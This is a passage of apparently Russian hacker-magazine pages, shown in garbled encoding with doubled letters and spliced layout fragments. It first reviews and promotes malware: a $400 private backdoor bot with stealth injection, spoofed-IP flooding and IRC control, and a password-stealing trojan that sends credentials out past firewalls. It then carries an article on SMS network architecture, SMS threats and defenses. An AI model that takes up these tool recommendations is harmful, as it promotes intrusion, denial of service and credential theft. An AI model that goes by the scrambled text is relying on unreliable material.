ðà, è óñòàíîâèòü äðàé-
âåð íå óäàåòñÿ, ìîæíî
ïðîâåñòè èíæåêò â äðó-
ãîé ïðîöåññ. Ýòè àñïåê-
òû äåëàþò ñòåëñèðîâà-
íèå áîòà â ñèñòåìå ìàê-
ñèìàëüíî óñïåøíûì. 

×èñòî øïèîíñêèå
êà÷åñòâà áîòà ïîìîãóò
àòàêóþùåìó ïîëó÷èòü
íàèáîëåå ïîëíóþ, à
ãëàâíîå — äîñòîâåðíóþ
èíôîðìàöèþ êàê î æå-
ëåçå (ïðîö, ïàìÿòü), òàê
è î ñèñòåìå. Ïðè÷åì
âåðñèåé ÎÑ è äàòîé íà
óäàëåííîé òà÷êå ñïè-
ñîê íå çàêàí÷èâàåòñÿ.
Íàèáîëåå ïîëíàÿ èí-
ôîðìàöèÿ î äèñêàõ,
ïðîöåññàõ è óñòàíîâ-
êàõ ÎÑ îòðèñóþò ïîëî-
æåíèå äåë íà óäàëåí-
íîé òà÷êå åùå ïîëíåå
è ñîäåðæàòåëüíåå. Çà-

îäíî òû ñìîæåøü ëè-
öåçðåòü è òåêóùèå íà-
ñòðîéêè ñàìîãî áîòà,
åãî çàäàíèÿ (ìíîãîçà-
äà÷íîñòü ðåàëèçîâàíà
íà âûñîòå!), êîíôèã, íà-
ñòðîéêè ôëóäà. Êñòàòè,
ôëóä — îäíî èç ãëàâ-
íûõ åãî îðóæèé: SYN,
ICMP (êàê ñî ñïóôåíû-
ìè IP, òàê è áåç íèõ),
UDP, HTTP GET — âñå,
÷òî äóøå óãîäíî! 

Ñàìî ñîáîé, ïðè
óïðàâëåíèè ýòèì çâå-
ðåì ÷åðåç irc ïðèíèìà-
þòñÿ ñîîòâåòñòâåííûå
ìåðû áåçîïàñíîñòè.
Äëÿ ïîä÷èíåíèÿ ñåáå
áîòà íà êàíàëå íóæíî
çàëîãèíèòüñÿ êîìàí-
äîé !login [passwd]. Ïðè
ýòîì äëÿ ñêðûòèÿ ïàðî-
ëÿ îò ÷óæèõ ãëàç èñ-
ïîëüçóåòñÿ ôóíêöèÿ
md5crypt. Ââèäó ýòîãî
íåîáõîäèìîñòü ââî-
äèòü ïàðîëü îòïàäàåò
ñàìà ñîáîé. Âìåñòî
ýòîãî äëÿ èäåíòèôèêà-
öèè õîçÿèíà áóäåò èñ-
ïîëüçîâàòüñÿ õýø, ïî-
ëó÷èâøèéñÿ ñ ó÷åòîì
nick!ident@address â irc
è ïàðîëÿ. Ïîíÿòíî, ÷òî
òåïåðü íèêîìó ýòîò
õýø íå ïîìîæåò, ò.ê.
ident è address ó êîãî-
ëèáî — äðóãèå. 

Êîíå÷íî, âñå ýòî íå
ìîæåò íå âûçûâàòü àï-
ïåòèòà. Íî òàêîâà ñóòü
ïðèâàòíûõ òóëç: ëèáî
ïëàòè äåíüãè, ëèáî æäè,
êîãäà èíñòðóìåíò ñòà-
íåò óæå íå òàêèì àêòó-
àëüíûì. À ñåé÷àñ àâ-
òîð ãàðàíòèðóåò íîâóþ
âåðñèþ áîòà, åñëè òîò
âñå æå ãäå-òî ñïàëèòñÿ.
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Illusion 
Security Bot 

backdoor

private ($400)

www.illusion.cup.su

fall bback! Âñå ýòè êåéëîããåðû, áýêäîðû, ðóòêè-
òû — îòëè÷íûå èíñòðóìåíòû. È ñóòü íå â òîì, ïðè-
âàòíûå îíè èëè ïóáëè÷íûå, è íå â òîì, ïàëÿòñÿ ëè
îíè ñîâðåìåííûìè àíòèâèðóñàìè èëè íåò. Åñëè
ìîçã ðàáîòàåò ïëîõî — íèêàêèå ïðèâàòíûå áýêäî-
ðû è ðóòêèòû íå ïîìîãóò

wwwwww33..ccaa..ccoomm//sseeccuurriittyyaaddvviissoorr//ppeesstt —— 
îòëè÷íàÿ ýíöèêëîïåäèÿ Spyware

wwwwww..rreesseeaarrcchh..ssuunnbbeelltt-ssooffttwwaarree..ccoomm ——
íåïëîõîé àðõèâ îïèñàíèé øïèîíñêîãî ÏÎ

wwwwww..ssiimmoovviittss..ccoomm//ttrroojjaannss ——
âíóøàþùèé ñïèñîê èíôîðìàöèè î çëî-ïðîãðàììàõ

ÍÍàà ííààøøååìì CCDD òòûû ññììîîææååøøüü ííààééòòèè ââèèääååîî ïïîî ððààááîîòòåå 
ññ ïïððèèââààòòííûûìì IIlllluussiioonn SSeeccuurriittyy BBoott

ÄÄààííííààÿÿ ññààòòüüÿÿ ííààïïèèññààííàà èèññêêëëþþ÷÷èèòòååëëüüííîî ââ îîááððààççîîââààòòååëëüüííûûõõ 
ööååëëÿÿõõ.. ÀÀââòòîîðð èè ððååääààêêööèèÿÿ ííåå ííååññóóòò îîòòââååòòññòòââååííííîîññòòèè 
ççàà ííååççààêêîîííííîîåå ïïððèèììååííååííèèåå ïïððîîããððààììììííîîããîî îîááååññïïåå÷÷ååííèèÿÿ 
ïïððååääññòòààââëëååííííîîããîî ââ îîááççîîððåå..

Äîâîëüíî òàêè ñòà-
ðåíüêàÿ ðàçðàáîòêà îò
coban2k, õîðîøî èç-
âåñòíîãî â ñôåðå ICQ-
õàêèíãà, êîòîðûé, êñòà-
òè, ïèñàë â íàø æóðíàë
î ïàðîëÿõ è èõ äîáû÷å
(XS11(48)). Êñòàòè, áó-
äåò íåëèøíèì ïåðåëè-
ñòàòü ýòîò ìåãàïîëåç-
íûé ñïåöâûïóñê. 

Òàê ïî÷åìó íàñòîëü-
êî ñòàðûé òðîé ïîïàë â
íàø îáçîð? Âî-ïåðâûõ,
äåëî â òîì, ÷òî òðîÿí
ýòîò øàðîâàðíûé, è ó

ìåíÿ áûëà ëèøü âåð-
ñèÿ 2.58. Íà ìîìåíò íà-
ïèñàíèÿ ñòàòüè ïîñëåä-
íèì âûïóñêîì áûëà
âåðñèÿ 2.95 çà ìàé ýòî-
ãî ãîäà. Âî-âòîðûõ, ýòî,
íàâåðíîå, ñàìûé «ïà-
ðîëüíûé òðîÿí». Â ïëà-
íå âîðîâñòâà ïàðîëåé
ýòî îäèí èç ëó÷øèõ
ïðåäñòàâèòåëåé ñåìåé-
ñòâà òðîÿíîâûõ: íà÷è-
íàÿ îò àñüêè è ïî÷òû,
çàêàí÷èâàÿ Far'îì è
TotalCmd. Çàáðàòü ïà-
ðîëè è äîáûòóþ èíôîð-
ìàöèþ ìîæíî ïîñðåä-
ñòâàì ìûëà, à òî÷íåå
smtp-ñåðâåðà èëè ñ ïî-
ìîùüþ http. Ïðè÷åì
âòîðîé ñïîñîá íåñîì-
íåííî ýôôåêòèâíåå:
îòïðàâêà èíôîðìàöèè
íå òîëüêî ïðîèñõîäèò
áåç ó÷àñòèÿ smtp, íî è
ìèíóÿ firewall. Âñå ïà-
ðîëè âûñûëàþòñÿ îä-
íèì ôàéëîì, ïî æåëà-
íèþ ìîãóò øèôðîâàòü-
ñÿ. Ïîäðîáíåå î òîì, êàê
ñêðûòü òðîé, ÷èòàé íà
www.xakep.ru/post/23566/.

Â íåêîòîðûõ ñëó-
÷àÿõ ìîæåò ïðèãîäèòü-
ñÿ ñïîñîá óïðàâëåíèÿ
æåðòâîé ÷åðåç IRC. Ïà-
ðàìåòðû ïîäêëþ÷åíèÿ
áîòà ê ñåðâåðó íà-
ñòðàèâàþòñÿ ïðè êîì-
ïèëÿöèè. Óïðàâëåíèå
ïðîèñõîäèò ïóòåì îò-
ñûëêè ñîîáùåíèé áîòó. 
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Pinch 2 Pro 

trojan

shareware

www.pinch3.ru

www.xroot.hut1.ru
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Если при нажатии 
на кнопку двигатель 
не  завелся – срочно 
купите журнал

В продаже
с 6 сентября



Ìîáèëüíûå îïåðàòîðû äåëàþò î÷åíü íåïëîõèå äåíü-
ãè, èãðàÿ íà ÷óâñòâàõ è ñîâðåìåííûõ òåíäåíöèÿõ. Íî
òàì, ãäå êðóòÿòñÿ áîëüøèå äåíüãè, ñðàçó ïîÿâëÿþòñÿ
æåëàþùèå ïîæèâèòüñÿ. È òåõíîëîãèÿ SMS àâòîìà-
òè÷åñêè òÿíåò çà ñîáîé îïðåäåëåííûå ïðîáëåìû.

êàê ððàáîòàåò SSMS. Ñóùåñòâóåò 3 ñïîñîáà ïî-
ñëàòü êîðîòêîå ñîîáùåíèå íà ìîáèëüíûé òåëåôîí:

— Ñ ÄÐÓÃÎÃÎ ÌÎÁÈËÜÍÎÃÎ ÒÅËÅÔÎÍÀ.

— ×ÅÐÅÇ ØËÞÇ (E-MAIL, WEB, SKYPE È Ò.Ä.).

— ×ÅÐÅÇ ÒÀÊ ÍÀÇÛÂÀÅÌÛÉ ESME 
(EXTERNAL SHORT MESSAGE ENTITY) —
ÂÍÅØÍÈÉ ÃÅÍÅÐÀÒÎÐ SMS-ÊÎÍÒÅÍÒÀ, 
Â ÊÀ×ÅÑÒÂÅ ÊÎÒÎÐÎÃÎ ÌÎÆÅÒ 
ÂÛÑÒÓÏÀÒÜ ÑÈÑÒÅÌÀ ÓÂÅÄÎÌËÅÍÈÉ 
Î ÏÎÑÒÓÏËÅÍÈÈ ÃÎËÎÑÎÂÎÉ ÈËÈ
ÎÁÛ×ÍÎÉ ÏÎ×ÒÛ, ÑÈÑÒÅÌÀ 
ÈÍÔÎÐÌÈÐÎÂÀÍÈß (ÍÀÏÐÈÌÅÐ, 
Î ÊÓÐÑÅ ÄÎËËÀÐÀ ÈËÈ ÏÎÃÎÄÅ) 
È ÑÈÑÒÅÌÀ ÄÎÑÒÀÂÊÈ ÍÎÂÛÕ 
ÏÐÎÃÐÀÌÌÍÛÕ ÏÐÈËÎÆÅÍÈÉ.

Êàêèì áû ñïîñîáîì òû íå îòñûëàë ñîîáùåíèå, îíî
ñíà÷àëà ïîñòóïàåò â öåíòð SMS (SMS Centre, SMSC),
êîòîðûé ïîääåðæèâàåòñÿ ìîáèëüíûì îïåðàòîðîì (â
çàâèñèìîñòè îò ìàñøòàáà îïåðàòîðà, òàêèõ öåíòðîâ
ó íåãî ìîæåò áûòü íåñêîëüêî). Çàòåì ïðîèñõîäèò
ïåðâè÷íàÿ îáðàáîòêà ïîëó÷åííîãî ñîîáùåíèÿ, åãî
êîíâåðòàöèÿ â SMS-ôîðìàò è ïåðåäà÷à â î÷åðåäü íà
îòïðàâêó. Òàê êàê àáîíåíòû ìîáèëüíû è ìîãóò ïåðå-
ìåùàòüñÿ ïî âñåìó ìèðó, òî íåîáõîäèìî îïðåäåëèòü
ìåñòîïîëîæåíèå àáîíåíòà, ÷òî äåëàåòñÿ ñ ïîìîùüþ
çàïðîñà ê áàçå HLR (Home Location Register). Åñëè
ïîëó÷àòåëü â äàííîé ìîìåíò «âíå çîíû äåéñòâèÿ
ñåòè», òî ñîîáùåíèå ïîìåùàåòñÿ â áóôåð îæèäà-
íèÿ. Â ïðîòèâíîì ñëó÷àå ïîëó÷àåì àäðåñ öåíòðà
êîììóòàöèè (Mobile Switching Center, MSC), êîòî-
ðûé îáñëóæèâàåò â äàííûé ìîìåíò àáîíåíòà. Ïî-
ñëå ïîëó÷åíèÿ SMS-ñîîáùåíèÿ MSC çàïðàøèâàåò
èíôîðìàöèþ î ïîëó÷àòåëå, ýòî äåëàåòñÿ ÷åðåç áà-
çó VLR (Visitor Location Register) — ëîêàëüíûé âà-

ðèàíò HLR, êîòîðûé õðàíèò èíôîðìàöèþ î âðåìåí-
íûõ (ðîóìèíãîâûõ) àáîíåíòàõ. Íàêîíåö, MSC ïåðå-
äàåò ñîîáùåíèå íà áàçîâóþ ñòàíöèþ (base station,
BS), à òà, «ïî âîçäóõó», — äî ìîáèëüíîãî òåëåôîíà.

Ýòî òà ñõåìà, êîòîðàÿ ëåæèò «íà ïîâåðõíî-
ñòè». Îäíàêî çà ýòîé ïðîñòîòîé è ëîãè÷íîñòüþ
ñêðûâàåòñÿ äîñòàòî÷íî ñëîæíàÿ ñèñòåìà ñèãíàëè-
çàöèè, êîíòðîëÿ è óïðàâëåíèÿ, êîòîðàÿ è îáåñïå-
÷èâàåò ðàáîòîñïîñîáíîñòü âñåãî ìåõàíèçìà.

íåìíîãî îî ââíóòðåííîñòÿõ. Íàïðèìåð, êàê
îáåñïå÷èòü ïåðåäà÷ó SMS àáîíåíòó, êîòîðûé ïî-
ñòîÿííî íàõîäèòñÿ â äâèæåíèè? Ðàíüøå äëÿ ýòîé
öåëè àáîíåíò äîëæåí áûë ñàì ðåãèñòðèðîâàòüñÿ â
çîíå äåéñòâèÿ äðóãîãî îïåðàòîðà, ÷òî áûëî êðàéíå
íåóäîáíî. Ïîçæå äëÿ ðåøåíèÿ ýòîé çàäà÷è ðàçðàáî-
òàëè ñïåöèàëüíûé ìåõàíèçì, êîòîðûé àâòîìàòèçè-
ðîâàë ýòó ðóòèííóþ çàäà÷ó. Ýòî IS-41 (ANSI-41) äëÿ
ñåâåðîàìåðèêàíñêèõ ìîáèëüùèêîâ, ANSI-136 äëÿ
AMPS è IS-95 äëÿ CDMA. Â GSM-ñåòÿõ àíàëîãè÷íóþ
ðîëü âûïîëíÿåò ïðîòîêîë MAP (Mobile Application
Part). Èìåííî îí îïðåäåëÿåò ìåòîäû è ìåõàíèçìû
âçàèìîäåéñòâèÿ ìîáèëüíûõ ñåòåé. MAP, íàðÿäó ñ
äðóãèìè ïðîòîêîëàìè, âõîäèò â ñòåê ñèñòåìû ñèãíà-
ëèçàöèè ÎÊÑ7 (SS7), êîòîðàÿ ðàçðàáàòûâàëàñü äëÿ
êîíòðîëÿ òåëåôîííûõ ñåòåé, è ÿâëÿåòñÿ òðàíñïîðò-
íîé ñèñòåìîé äëÿ ïåðåäà÷è ñîîáùåíèé SMS.

Ïåðåäà÷à ñîîáùåíèÿ ðåàëèçóåòñÿ ñ ïîìî-
ùüþ ïðîòîêîëà TCAP (Transaction Capabilities Ap-
plication Part), êîòîðûé, â ñâîþ î÷åðåäü, èñïîëüçó-
åò äëÿ ïåðåäà÷è êîìáèíàöèþ äâóõ ïðîòîêîëîâ —
ïîäñèñòåìó SCCP è MTP. Ïðîòîêîë Signaling Con-
nection and Control Part (SCCP) ïðåäíàçíà÷åí äëÿ
îáåñïå÷åíèÿ ïåðåäà÷è SMS îò óçëà ê óçëó. Îí îáåñ-
ïå÷èâàåò ñâÿçü ÷åðåç íåñêîëüêî óçëîâ (èíûìè ñëî-
âàìè, îðãàíèçóåò íåêîòîðîå âèðòóàëüíîå ñîåäèíå-
íèå) è óïðàâëåíèå ïåðåäà÷åé ñîîáùåíèé. À íèæå-
ëåæàùèé ïðîòîêîë MTP ïåðåä ýòèì ïîçâîëÿåò óäî-
ñòîâåðèòüñÿ, ÷òî ñâÿçü ìåæäó óçëàìè âîçìîæíà.
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SMS ÑÏÀÌ
ÏÐÎÂÎÇÃËÀØÅÍÍÎÅ ÍÅÑÊÎËÜÊÎ ËÅÒ ÍÀÇÀÄ ÊÎÌÏÀÍÈÅÉ PEPSI-COLA «ÏÎÊÎËÅÍÈÅ NEXT»
ÓÆÅ ÓÑÏÅËÎ ÑÒÀÒÜ «ÊÎÐÎ×Å» È ÏÐÅÂÐÀÒÈÒÜÑß Â «ÏÎÊÎËÅÍÈÅ SMS». ÂÑÅ ÂÎÊÐÓÃ
ÎÑÒÅÐÂÅÍÅËÎ ÍÀÆÈÌÀÞÒ ÍÀ ÊÍÎÏÊÈ ÌÎÁÈËÜÍÎÃÎ ÒÅËÅÔÎÍÀ, ÎÒÑÛËÀß È ÏÐÈÍÈÌÀß
ÊÎÐÎÒÊÈÅ ÑÎÎÁÙÅÍÈß ÎÒ ÑÂÎÈÕ ÄÐÓÇÅÉ È ÏÎÄÐÓÃ, À ÒÀÊÆÅ Ó×ÀÑÒÂÓß Â SMS-ÈÃÐÀÕ È
ÀÊÖÈßÕ 

Àëåêñåé Ëóêàöêèé 
alukatsk@cisco.com

ññììååððòòååëëüüííààÿÿ
ììîîááèèëëüüííîîññòòüü

ÏÅÐÂÎÅ ÊÎÌÌÅÐ×ÅÑÊÎÅ SMS-ÑÎÎÁÙÅÍÈÅ ÁÛËÎ ÏÎÑËÀÍÎ 
3 ÄÅÊÀÁÐß 1992 ÃÎÄÀ Â ÀÍÃËÈÈ Ñ ÏÅÐÑÎÍÀËÜÍÎÃÎ ÊÎÌÏÜÞÒÅÐÀ 
×ÅÐÅÇ ÎÏÅÐÀÒÎÐÀ VODAFONE 
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Íà ó÷àñòêå îò ESME äî SMSC èñïîëüçóåòñÿ ñòåê
ïðîòîêîëîâ IP, à âîò äàëüøå ïåðåäà÷à SMS îñó-
ùåñòâëÿåòñÿ óæå ïî ÎÊÑ7. Äëÿ âçàèìîäåéñòâèÿ
IP-ñåòè ñ ÎÊÑ7 èñïîëüçóåòñÿ ñïåöèàëüíîå óñòðîé-
ñòâî — Signaling Transfer Point (STP), âûïîëíÿþùåå
òó æå ðîëü, ÷òî è îáû÷íûé ìàðøðóòèçàòîð â IP-ñåòÿõ.

Âçàèìîäåéñòâèå ñ SMSC ïðîèñõîäèò ïî îä-
íîìó èç 5-òè ïðîòîêîëîâ:

— SMPP (SHORT MESSAGE PEER-TO-PEER) —
ÅÄÈÍÑÒÂÅÍÍÛÉ ÎÒÊÐÛÒÛÉ ÑÒÀÍÄÀÐÒ
È ÍÀÈÁÎËÅÅ ×ÀÑÒÎ ÈÑÏÎËÜÇÓÅÌÛÉ
ÏÐÎÒÎÊÎË. ÒÅÊÓÙÀß ÂÅÐÑÈß 
ÏÐÎÒÎÊÎËÀ — 5.0, ÍÎ ÍÀÈÁÎËÅÅ 
×ÀÑÒÎ ÈÑÏÎËÜÇÓÅÒÑß ÂÅÐÑÈß 3.4 
(ÂÅÐÑÈß 4  ÁÛËÀ ÑÏÅÖÈÀËÜÍÎ 
ÐÀÇÐÀÁÎÒÀÍÀ ÄËß ßÏÎÍÑÊÎÃÎ ÐÛÍÊÀ).

— EMI/UCP (EXTERNAL MACHINE 
INTERFACE/UNIVERSAL COMPUTER 
PROTOCOL) — ÑÎÁÑÒÂÅÍÍÛÉ 
ÏÐÎÒÎÊÎË LOGICACMG, ÁÀÇÈÐÓÞ-
ÙÈÉÑß ÍÀ ÑÒÀÍÄÀÐÒÅ ETSI UCP.

— CIMD2 (COMPUTER INTERFACE 
TO MESSAGE DISTRIBUTION) — 
ÑÎÁÑÒÂÅÍÍÛÉ ÏÐÎÒÎÊÎË NOKIA.

— OIS (OPEN INTERFACE SPECIFICATION) —
ÑÎÁÑÒÂÅÍÍÛÉ ÏÐÎÒÎÊÎË SEMA GROUP
(ÑÅÉ×ÀÑ — SCHLUMBERGERSEMA).

— TAP (TELOCATOR ALPHANUMERIC 
PROTOCOL) — ÏÐÎÒÎÊÎË, ÏÐÅÄÍÀÇÍÀ-
×ÅÍÍÛÉ ÄËß ÏÅÐÅÄÀ×È ÑÎÎÁÙÅÍÈÉ
ÌÅÆÄÓ SMS-ÏÐÎÂÀÉÄÅÐÀÌÈ 
È ÏÅÉÄÆÈÍÃÎÂÛÌÈ ÊÎÌÏÀÍÈßÌÈ Â ÑØÀ.

Êóïèòü ñîáñòâåííûé SMSC íå êàæäîìó ìîáèëüíî-
ìó îïåðàòîðó ïî êàðìàíó, ïîýòîìó èõ ÷àñòî áåðóò â
àðåíäó èëè ïîëüçóþòñÿ àóòñîðñèíãîâûìè óñëóãàìè
áîëåå êðóïíûõ «êîëëåã». Â ìèðå ñóùåñòâóåò ìíî-
æåñòâî ðàçðàáîò÷èêîâ SMSC — Comverse, Nokia,
Unisys, Airwide, Jinny, Motorola è äðóãèå. Íî ñàìûì
èçâåñòíûì ðàçðàáîò÷èêîì, ÷üè ðåøåíèÿ èñïîëüçó-
þòñÿ ïî âñåìó ìèðó, ÿâëÿåòñÿ LogicaCMG (ðåçóëü-
òàò ñëèÿíèÿ äâóõ êîìïàíèé — Logica è CMG).

÷òî òòàêîå SSMS. Íà ñàìîì äåëå, SMS — ýòî íå
òîëüêî òåêñò, êîòîðûé òû ïðèâûê ïîëó÷àòü îò ñâîèõ
äðóçåé. Êîðîòêîå ñîîáùåíèå ìîæåò òàêæå ñîäåð-
æàòü äâîè÷íûå äàííûå, òàêèå êàê ìåëîäèè (ringtone)
è ëîãîòèïû/êàðòèíêè. Äëèíà îáû÷íîãî òåêñòîâîãî
ñîîáùåíèÿ íå ìîæåò ïðåâûøàòü 160 ñèìâîëîâ ëà-
òèíñêîãî àëôàâèòà (â 7-áèòíîé êîäèðîâêå). Äëÿ äðó-
ãèõ àëôàâèòîâ, â òîì ÷èñëå è ðóññêîãî, äëèíà ñîîá-
ùåíèÿ íå ìîæåò ïðåâûøàòü 70 ñèìâîëîâ. Åñëè ñîîá-
ùåíèå ñîäåðæèò áîëüøå çíàêîâ, òî îáû÷íî îíî ðàç-
áèâàåòñÿ íà íåñêîëüêî ÷àñòåé. Äëÿ ïåðåäà÷è ðèíãòî-
íîâ èñïîëüçóåòñÿ 8-áèòíàÿ êîäèðîâêà, è ìàêñèìàëü-
íàÿ äëèíà ñîîáùåíèÿ ñîñòàâëÿåò 140 ñèìâîëîâ.

Íî ýòî åùå íå âñå. Òåì, êòî çàíèìàåòñÿ àä-
ìèíèñòðèðîâàíèåì ñåòåâîãî îáîðóäîâàíèÿ, çíà-
êîì ïðîòîêîë TFTP, èñïîëüçóåìûé äëÿ îáíîâëå-

íèÿ íàñòðîåê è ÏÎ ìàðøðóòèçàòîðîâ èëè êîììó-
òàòîðîâ. Àíàëîãè÷íûé ìåõàíèçì ñóùåñòâóåò è
äëÿ ìîáèëüíûõ òåëåôîíîâ. Îí íîñèò íàçâàíèå
Over-the-air programming (OTA), over-the-air service
provisioning (OTASP) èëè over-the-air parameter ad-
ministration (OTAPA). Åãî çàäà÷à — «çàëèòü» íà
òåëåôîí íîâóþ âåðñèþ ïðîøèâêè, ñîôòà èëè ïðî-
âåñòè äèàãíîñòèêó óñòðîéñòâà. Äëÿ ýòîãî àáîíåíò
äîëæåí ïîçâîíèòü íà îïðåäåëåííûé íîìåð (êîòî-
ðûé îáû÷íî ðàññûëàåòñÿ ÷åðåç SMS) è ïîëó÷èòü
âñå íåîáõîäèìîå äëÿ óëó÷øåíèÿ õàðàêòåðèñòèê
òåëåôîíà.

îá óóãðîçàõ. Èõ äîñòàòî÷íî ìíîãî:

— ÀÒÀÊÈ ÍÀ ESME;
— SMS-ÑÏÀÌ;
— ËÎÊÀËÜÍÛÉ È ÃËÎÁÀËÜÍÛÉ SMS-DOS;
— SMS-ÂÈÐÓÑÛ.

óãðîçû èè ççàùèòà EESME. ×òîáû ïîñûëàòü SMS
÷åðåç SMSC îïåðàòîðà, ìîæíî ïîéòè äâóìÿ ïóòÿìè:

1  ÈÑÏÎËÜÇÎÂÀÒÜ ØËÞÇ WEB-SMS.

2  ÈÑÏÎËÜÇÎÂÀÒÜ ÑÏÅÖÈÀËÜÍÎÅ 
ÏÎ È ÏÐßÌÎÅ ÑÎÅÄÈÍÅÍÈÅ Ñ SMSC 
(ÍÀÏÐÈÌÅÐ, ÏÎ ÏÐÎÒÎÊÎËÓ SMPP).

Â îáîèõ ñëó÷àÿõ äîáðîïîðÿäî÷íûé êîíòåíò-ïðî-
âàéäåð âûñòóïàåò â êà÷åñòâå ESME è äîëæåí çà-
êëþ÷èòü äîãîâîð ñ ìîáèëüíûì îïåðàòîðîì, ïîñëå
÷åãî åìó âûäåëÿþò ó÷åòíóþ çàïèñü è ñîîáùàþò
âñå ïàðàìåòðû ïîäêëþ÷åíèÿ (èäåíòèôèêàòîð ES-
ME, ïàðîëü íà ïîäêëþ÷åíèå è ò.ä.).

Åñëè òû ðåøèë ïîäêëþ÷èòüñÿ ÷åðåç web-
øëþç, òî òåáå äàþò ññûëêó, ïðè îáðàùåíèè ê êîòî-
ðîé ñ îïðåäåëåííûìè ïàðàìåòðàìè òû ìîæåøü
îòïðàâëÿòü SMS’êè. Â êà÷åñòâå òàêèõ ïàðàìåòðîâ
ìîæíî óêàçûâàòü íîìåð îòïðàâèòåëÿ è ïîëó÷àòå-
ëÿ, ñðîê îòïðàâêè ñîîáùåíèÿ è äëèòåëüíîñòü îæè-
äàíèÿ (åñëè àáîíåíò íå äîñòóïåí). È ó çëîóìû-
øëåííèêà åñòü 2 âîçìîæíîñòè «ïîøàëèòü» — ïî-
äîáðàòü ïàðîëü ê ñàéòó è îòñûëàòü SMS ïîä ÷óæîé
ó÷åòíîé çàïèñüþ, ëèáî ïîäìåíÿòü àäðåñ îòïðàâè-
òåëÿ ñîîáùåíèÿ â ñêðèïòå.

Âî âòîðîì ñëó÷àå (ïðÿìîå SMPP-ïîäêëþ÷å-
íèå) ñèòóàöèÿ òàêæå äàëåêà îò èäåàëüíîé — ïîä-
êëþ÷åíèå ê SMSC â áîëüøèíñòâå ñëó÷àåâ îñó-
ùåñòâëÿåòñÿ áåç êàêîé-ëèáî çàùèòû, è ïåðåõâàò
System-ID, System-Password, System-Type ïîçâî-
ëÿåò çëîóìûøëåííèêó ìàñêèðîâàòüñÿ ïîä ëåãèò-
èìíîãî êîíòåíò-ïðîâàéäåðà.

Âîçìîæíà è òðåòüÿ ñèòóàöèÿ, ñ êîòîðîé áî-
ðîòüñÿ ñëîæíåå âñåãî. SMS-óãðîçó íåñåò ñàì êîí-
òåíò-ïðîâàéäåð, êîòîðûé æåëàåò èçâëåêàòü âûãî-
äó ëþáûìè ñïîñîáàìè. Ïî áîëüøîìó ñ÷åòó, ñåãîä-
íÿ äîãîâîð íà îêàçàíèå êîíòåíò-óñëóã ñ ìîáèëü-
íûì îïåðàòîðîì ìîæåò çàêëþ÷èòü ëþáîé æåëàþ-
ùèé, âåäü äëÿ îïåðàòîðà ýòî äîïîëíèòåëüíûé èñ-
òî÷íèê äîõîäà. È ðàçáèðàòüñÿ ñ íàðóøèòåëÿìè îí
áóäåò òîëüêî â ñëó÷àå ñèñòåìàòè÷åñêèõ çâîíêîâ â

ñëóæáó ïîääåðæêè ñî ñòîðîíû ðàçúÿðåííûõ êëè-
åíòîâ. À òàê êàê ïîñëåäíèå íå î÷åíü ëþáÿò çâî-
íèòü ïî «ãîðÿ÷åìó» íîìåðó, òî çëîóìûøëåííèê
ìîæåò ÷óâñòâîâàòü ñåáÿ âïîëíå ñïîêîéíî. Çà÷à-
ñòóþ â ñëóæáó ïîääåðæêè îïåðàòîðà âîîáùå íå
äîçâîíèøüñÿ — ïîñòîÿííî âêëþ÷àåòñÿ àâòîîòâåò-
÷èê. Íàäî ïðèçíàòü, ÷òî òàêàÿ ñèòóàöèÿ äåéñòâóåò
è äëÿ VIP-êëèåíòîâ, êîòîðûå ðåäêî êîãäà ìîãóò äî-
çâîíèòüñÿ äî ïåðñîíàëüíîãî ìåíåäæåðà.

Ñðåäñòâà çàùèòû â äàííîì ñëó÷àå äîñòàòî÷-
íî î÷åâèäíû:

— ÇÀÙÈÒÀ WEB-ØËÞÇÀ ÎÒ ÀÒÀÊ 
Ñ ÏÎÌÎÙÜÞ ÒÀÊ ÍÀÇÛÂÀÅÌÎÃÎ 
APPLICATION FIREWALL, ÊÎÒÎÐÛÉ
ÏÎÄÍÈÌÀÅÒÑß Ñ ÑÅÒÅÂÎÃÎ 
ÍÀ ÏÐÈÊËÀÄÍÎÉ ÓÐÎÂÅÍÜ, È ÏÎÍÈÌÀÅÒ
ÑÏÅÖÈÔÈÊÓ WEB-ÏÐÈËÎÆÅÍÈÉ.

— ÈÑÏÎËÜÇÎÂÀÍÈÅ «×ÅÐÍÎÃÎ» 
È «ÁÅËÎÃÎ» ÑÏÈÑÊÎÂ IP-ÀÄÐÅÑÎÂ ESME.

— ÀÓÒÅÍÒÈÔÈÊÀÖÈß ÑÎÅÄÈÍÅÍÈß 
SMSC-ESME Ñ ÏÐÈÌÅÍÅÍÈÅÌ
ÖÈÔÐÎÂÛÕ ÑÅÐÒÈÔÈÊÀÒÎÂ.

— ØÈÔÐÎÂÀÍÈÅ ÑÎÅÄÈÍÅÍÈß ÌÅÆÄÓ
SMSC È ESME.

— ÃÐÀÌÎÒÍÀß ÏÐÎÐÀÁÎÒÊÀ ÄÎÃÎÂÎÐÀ 
Ñ ÊÎÍÒÅÍÒ-ÏÐÎÂÀÉÄÅÐÀÌÈ. 
Â ÏÐÎÒÈÂÍÎÌ ÑËÓ×ÀÅ ÒÛ ÍÅ ÑÌÎÆÅØÜ
ÎÒÊËÞ×ÈÒÜ ÅÃÎ ÇÀ ÎÁÍÀÐÓÆÅÍÍÛÅ
ÍÀÐÓØÅÍÈß. Â ÑØÀ ÁÛËÎ ÍÅÑÊÎËÜÊÎ
ÈÍÖÈÄÅÍÒÎÂ, ÊÎÃÄÀ ÌÎÁÈËÜÍÛÅ
ÎÏÅÐÀÒÎÐÛ ÑÒÐÀÄÀËÈ ÎÒ ÒÎÃÎ, 
×ÒÎ ESME ÐÀÑÑÛËÀËÈ ×ÅÐÅÇ ÍÈÕ
ÌÎÁÈËÜÍÛÉ ÑÏÀÌ. ÐÀÇÎÐÂÀÒÜ
ÊÎÍÒÐÀÊÒ ÎÍÈ ÍÅ ÌÎÃËÈ, Ò.Ê. ÑÏÀÌ 
ÍÅ ÁÛË ÓÊÀÇÀÍ Â ÏÐÈ×ÈÍÀÕ
ÂÎÇÌÎÆÍÎÃÎ ÄÎÑÐÎ×ÍÎÃÎ
ÐÀÑÒÎÐÆÅÍÈß ÄÎÃÎÂÎÐÀ, À ÎÒÊÀÇ 
ÎÒ ÏÅÐÅÑÛËÊÈ ÑÏÀÌÀ ÒÀÊÆÅ ÁÛË
ÍÅÂÎÇÌÎÆÅÍ — ÇÀ ÍÀÐÓØÅÍÈÅ SLA
ÎÏÅÐÀÒÎÐ ÂÛÍÓÆÄÅÍ ÁÛË ÏËÀÒÈÒÜ
«ÊÐÓÃËÅÍÜÊÓÞ» ÑÓÌÌÓ.

